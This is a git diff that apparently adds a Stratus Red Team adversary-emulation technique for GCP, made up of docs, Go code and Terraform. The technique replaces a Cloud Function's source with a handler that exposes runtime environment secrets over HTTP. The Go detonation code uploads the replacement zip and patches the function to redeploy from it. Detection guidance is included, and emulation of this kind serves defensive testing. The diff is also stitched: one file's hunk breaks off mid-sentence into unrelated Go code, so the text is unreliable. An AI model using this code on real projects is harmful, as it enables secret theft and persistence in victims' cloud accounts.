diff --git a/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md b/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md
new file mode 100755
index 000000000..69f723177
--- /dev/null
+++ b/docs/attack-techniques/GCP/gcp.persistence.overwrite-cloud-function.md
@@ -0,0 +1,69 @@
+---
+title: Overwrite a Cloud Function with Malicious Source Code
+---
+
+# Overwrite a Cloud Function with Malicious Source Code
+
+ slow
+ idempotent
+
+Platform: GCP
+
+## Mappings
+
+- MITRE ATT&CK
+ - Persistence
+
+
+
+## Description
+
+
+Replaces the source code of an existing Cloud Functions v2 function with code that
+exfiltrates runtime environment variables. This simulates supply-chain or insider
+attacks where an adversary with write access to the function's source bucket — or
+direct Cloud Functions update permissions — modifies the function to harvest secrets
+injected via environment variables, mounted Secret Manager secrets, or service account
+token metadata available at runtime.
+
+The injected replacement function calls env and returns the output in
+the HTTP response body, allowing an attacker to read any runtime secret by triggering
+the function endpoint.
+
+Warm-up:
+
+- Create a Cloud Functions v2 function with a benign Python hello-world handler
+
+Detonation:
+
+- Build a replacement source zip in memory containing the malicious handler
+- Upload the zip to the function's GCS source bucket
+- Update the function's buildConfig.source.storageSource to reference
+ the new zip and trigger a redeploy
+
+Revert:
+
+- Update the function's buildConfig.source.storageSource to point back
+ to the original source object
+
+References:
+
+- https://cloud.google.com/functions/docs/deploying
+- https://cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/patch
+- https://www.tenable.com/blog/confusedfunction-a-privilege-escalation-vulnerability-impacting-gcp-cloud-functions
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate gcp.persistence.overwrite-cloud-function
+```
+## Detection
+
+
+Identify unexpected Cloud Function source updates by monitoring for
+google.cloud.functions.v2.CloudFunctionsService.UpdateFunction events in
+GCP Admin Activity audit logs. Alert on updates where the source object changes,
+especially when the new object name does not follow the project's naming conventions.
+
+
diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md
index 39486cfbb..6c5627887 100755
--- a/docs/attack-techniques/GCP/index.md
+++ b/docs/attack-techniques/GCP/index.md
@@ -34,6 +34,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Backdoor a Cloud Function by Granting Public Invoke Access](./gcp.persistence.backdoor-cloud-function.md)
+ - [Overwrite a Cloud Function with Malicious Source Code](./gcp.persistence.overwrite-cloud-function.md)
+
## Privilege Escalation
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index 2510e4168..16d614dfb 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -113,3 +113,4 @@ This page contains the list of all Stratus Attack Techniques.
| [Ransomware Simulation — Delete All GCS Objects in Batch](./GCP/gcp.impact.ransomware-gcs-batch-deletion.md) | [GCP](./GCP/index.md) | Impact |
| [Ransomware Simulation — Encrypt GCS Objects Client-Side](./GCP/gcp.impact.ransomware-gcs-client-side-encryption.md) | [GCP](./GCP/index.md) | Impact |
| [Ransomware Simulation — Delete GCS Objects Individually](./GCP/gcp.impact.ransomware-gcs-individual-deletion.md) | [GCP](./GCP/index.md) | Impact |
+| [Overwrite a Cloud Function with Malicious Source Code](./GCP/gcp.persistence.overwrite-cloud-function.md) | [GCP](./GCP/index.md) | Persistence |
diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md
index 50d1be9f2..55cf17db8 100644
--- a/docs/attack-techniques/mitre-attack-coverage-matrices.md
+++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md
@@ -62,6 +62,7 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
env and returns the output in
+the HTTP response body, allowing an attacker to read any runtime secret by triggering
+the function endpoint.
+
+Warm-up:
+
+- Create a Cloud Functions v2 function with a benign Python hello-world handler
+
+Detonation:
+
+- Build a replacement source zip in memory containing the malicious handler
+- Upload the zip to the function's GCS source bucket
+- Update the function's buildConfig.source.storageSource to reference
+ the new zip and trigger a redeploy
+
+Revert:
+
+- Update the function's buildConfig.source.storageSource to point back
+ to the original source object
+
+References:
+
+- https://cloud.google.com/functions/docs/deploying
+- https://cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/patch
+- https://www.tenable.com/blog/confusedfunction-a-privilege-escalation-vulnerability-impacting-gcp-cloud-functions
+`,
+ Detection: `
+Identify unexpected Cloud Function source updates by monitoring for
+google.cloud.functions.v2.CloudFunctionsService.UpdateFunction events in
+GCP Admin Activity audit logs. Alert on updates where the source object changes,
+especially when the new object name does not follow the project's naming conventions.
+`,
+ Platform: stratus.GCP,
+ IsIdempotent: true,
+ IsSlow: true,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ Revert: revert,
+ })
+}
+
+// buildMaliciousZip creates an in-memory zip archive containing a single main.py
+// with the malicious function source.
+func buildMaliciousZip() ([]byte, error) {
+ var buf bytes.Buffer
+ w := zip.NewWriter(&buf)
+
+ f, err := w.Create("main.py")
+ if err != nil {
+ return nil, fmt.Errorf("failed to create main.py in zip: %w", err)
+ }
+ if _, err = fmt.Fprint(f, maliciousSource); err != nil {
+ return nil, fmt.Errorf("failed to write main.py content: %w", err)
+ }
+ if err = w.Close(); err != nil {
+ return nil, fmt.Errorf("failed to finalize zip: %w", err)
+ }
+
+ return buf.Bytes(), nil
+}
+
+// waitForCFOperation polls a Cloud Functions long-running operation until it
+// completes or the maximum number of attempts is reached.
+func waitForCFOperation(ctx context.Context, svc *cloudfunctions.Service, opName string) error {
+ const maxAttempts = 40
+ for attempt := 0; attempt < maxAttempts; attempt++ {
+ op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to poll operation %s: %w", opName, err)
+ }
+ if op.Done {
+ if op.Error != nil {
+ return fmt.Errorf("operation %s failed: %s", opName, op.Error.Message)
+ }
+ return nil
+ }
+ time.Sleep(5 * time.Second)
+ }
+ return fmt.Errorf("operation %s did not complete after %d attempts", opName, maxAttempts)
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ functionName := params["function_name"]
+ sourceBucket := params["source_bucket"]
+ ctx := context.Background()
+
+ // Build the malicious zip in memory.
+ zipBytes, err := buildMaliciousZip()
+ if err != nil {
+ return err
+ }
+
+ // Upload the malicious source to the same GCS bucket used by the function.
+ storageClient, err := storage.NewClient(ctx, providers.GCP().Options())
+ if err != nil {
+ return fmt.Errorf("failed to create Storage client: %w", err)
+ }
+ defer storageClient.Close()
+
+ log.Printf("Uploading malicious source zip to gs://%s/%s\n", sourceBucket, maliciousObjectName)
+ writer := storageClient.Bucket(sourceBucket).Object(maliciousObjectName).NewWriter(ctx)
+ if _, err = writer.Write(zipBytes); err != nil {
+ writer.Close()
+ return fmt.Errorf("failed to write malicious source zip: %w", err)
+ }
+ if err = writer.Close(); err != nil {
+ return fmt.Errorf("failed to finalize malicious source zip upload: %w", err)
+ }
+
+ // Patch the function to deploy from the injected source.
+ cfSvc, err := cloudfunctions.NewService(ctx, providers.GCP().Options())
+ if err != nil {
+ return fmt.Errorf("failed to create Cloud Functions client: %w", err)
+ }
+
+ log.Printf("Updating Cloud Function %s to use injected source\n", functionName)
+ op, err := cfSvc.Projects.Locations.Functions.Patch(
+ functionName,
+ &cloudfunctions.Function{
+ BuildConfig: &cloudfunctions.BuildConfig{
+ Source: &cloudfunctions.Source{
+ StorageSource: &cloudfunctions.StorageSource{
+ Bucket: sourceBucket,
+ Object: maliciousObjectName,
+ },
+ },
+ },
+ },
+ ).UpdateMask("buildConfig.source.storageSource").Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to patch Cloud Function %s: %w", functionName, err)
+ }
+
+ log.Printf("Waiting for function update operation to complete\n")
+ if err = waitForCFOperation(ctx, cfSvc, op.Name); err != nil {
+ return fmt.Errorf("function update did not complete: %w", err)
+ }
+
+ log.Printf("Cloud Function %s has been redeployed with injected source\n", functionName)
+ return nil
+}
+
+func revert(params map[string]string, providers stratus.CloudProviders) error {
+ functionName := params["function_name"]
+ sourceBucket := params["source_bucket"]
+ originalSourceObject := params["original_source_object"]
+ ctx := context.Background()
+
+ cfSvc, err := cloudfunctions.NewService(ctx, providers.GCP().Options())
+ if err != nil {
+ return fmt.Errorf("failed to create Cloud Functions client: %w", err)
+ }
+
+ log.Printf("Restoring Cloud Function %s to original source %s\n", functionName, originalSourceObject)
+ op, err := cfSvc.Projects.Locations.Functions.Patch(
+ functionName,
+ &cloudfunctions.Function{
+ BuildConfig: &cloudfunctions.BuildConfig{
+ Source: &cloudfunctions.Source{
+ StorageSource: &cloudfunctions.StorageSource{
+ Bucket: sourceBucket,
+ Object: originalSourceObject,
+ },
+ },
+ },
+ },
+ ).UpdateMask("buildConfig.source.storageSource").Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to restore Cloud Function %s: %w", functionName, err)
+ }
+
+ log.Printf("Waiting for restore operation to complete\n")
+ if err = waitForCFOperation(ctx, cfSvc, op.Name); err != nil {
+ return fmt.Errorf("function restore did not complete: %w", err)
+ }
+
+ // Remove the injected source object.
+ storageClient, err := storage.NewClient(ctx, providers.GCP().Options())
+ if err != nil {
+ return fmt.Errorf("failed to create Storage client: %w", err)
+ }
+ defer storageClient.Close()
+
+ log.Printf("Removing injected source zip gs://%s/%s\n", sourceBucket, maliciousObjectName)
+ if err = storageClient.Bucket(sourceBucket).Object(maliciousObjectName).Delete(ctx); err != nil {
+ log.Printf("Warning: failed to delete injected source zip (may already be gone): %v\n", err)
+ }
+
+ log.Printf("Cloud Function %s successfully restored to original source\n", functionName)
+ return nil
+}
diff --git a/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf
new file mode 100644
index 000000000..9f94ccddd
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function/main.tf
@@ -0,0 +1,122 @@
+terraform {
+ required_providers {
+ google = {
+ source = "hashicorp/google"
+ version = "~> 6.18.1"
+ }
+ random = {
+ source = "hashicorp/random"
+ version = "~> 3.3.2"
+ }
+ archive = {
+ source = "hashicorp/archive"
+ version = "~> 2.4.0"
+ }
+ }
+}
+
+locals {
+ resource_prefix = "stratus-red-team-ocf" # overwrite cloud function
+ region = "us-central1"
+}
+
+data "google_project" "current" {}
+
+resource "random_string" "suffix" {
+ length = 8
+ special = false
+ min_lower = 8
+}
+
+resource "google_storage_bucket" "bucket" {
+ name = "${local.resource_prefix}-${random_string.suffix.result}"
+ location = "US"
+ force_destroy = true
+}
+
+data "archive_file" "source" {
+ type = "zip"
+ output_path = "/tmp/stratus-red-team-cf-source-ocf.zip"
+ source {
+ content = "def hello_world(request):\n return 'Hello, World!'\n"
+ filename = "main.py"
+ }
+}
+
+resource "google_storage_bucket_object" "source" {
+ name = "source-${data.archive_file.source.output_md5}.zip"
+ bucket = google_storage_bucket.bucket.name
+ source = data.archive_file.source.output_path
+}
+
+# Dedicated build service account so we don't touch the default compute SA.
+resource "google_service_account" "build_sa" {
+ account_id = "${local.resource_prefix}-${random_string.suffix.result}"
+ display_name = "Stratus Red Team - Cloud Function Build SA"
+}
+
+resource "google_project_iam_member" "build_sa_builder" {
+ project = data.google_project.current.project_id
+ role = "roles/cloudbuild.builds.builder"
+ member = "serviceAccount:${google_service_account.build_sa.email}"
+}
+
+resource "google_project_iam_member" "build_sa_log_writer" {
+ project = data.google_project.current.project_id
+ role = "roles/logging.logWriter"
+ member = "serviceAccount:${google_service_account.build_sa.email}"
+}
+
+# Cloud Functions v2 stages source code in a GCP-managed bucket before building.
+# Custom build SAs are not granted access automatically — unlike the default
+# compute SA — so we grant object viewer explicitly on that bucket.
+resource "google_storage_bucket_iam_member" "build_sa_gcf_sources" {
+ bucket = "gcf-v2-sources-${data.google_project.current.number}-${local.region}"
+ role = "roles/storage.objectViewer"
+ member = "serviceAccount:${google_service_account.build_sa.email}"
+}
+
+resource "google_cloudfunctions2_function" "function" {
+ name = "${local.resource_prefix}-${random_string.suffix.result}"
+ location = local.region
+
+ build_config {
+ runtime = "python311"
+ entry_point = "hello_world"
+ service_account = google_service_account.build_sa.id
+ source {
+ storage_source {
+ bucket = google_storage_bucket.bucket.name
+ object = google_storage_bucket_object.source.name
+ }
+ }
+ }
+
+ service_config {
+ min_instance_count = 0
+ max_instance_count = 1
+ available_memory = "128Mi"
+ }
+
+ depends_on = [
+ google_project_iam_member.build_sa_builder,
+ google_project_iam_member.build_sa_log_writer,
+ google_storage_bucket_iam_member.build_sa_gcf_sources,
+ ]
+}
+
+output "function_name" {
+ value = google_cloudfunctions2_function.function.id
+}
+
+output "source_bucket" {
+ value = google_storage_bucket.bucket.name
+}
+
+output "original_source_object" {
+ value = google_storage_bucket_object.source.name
+}
+
+output "display" {
+ value = format("Cloud Function %s in region %s", google_cloudfunctions2_function.function.name, local.region)
+}
diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go
index 7d5c9805f..7f222edac 100644
--- a/v2/internal/attacktechniques/main.go
+++ b/v2/internal/attacktechniques/main.go
@@ -96,6 +96,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user"
+ _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/overwrite-cloud-function"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/dump-secrets"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/steal-serviceaccount-token"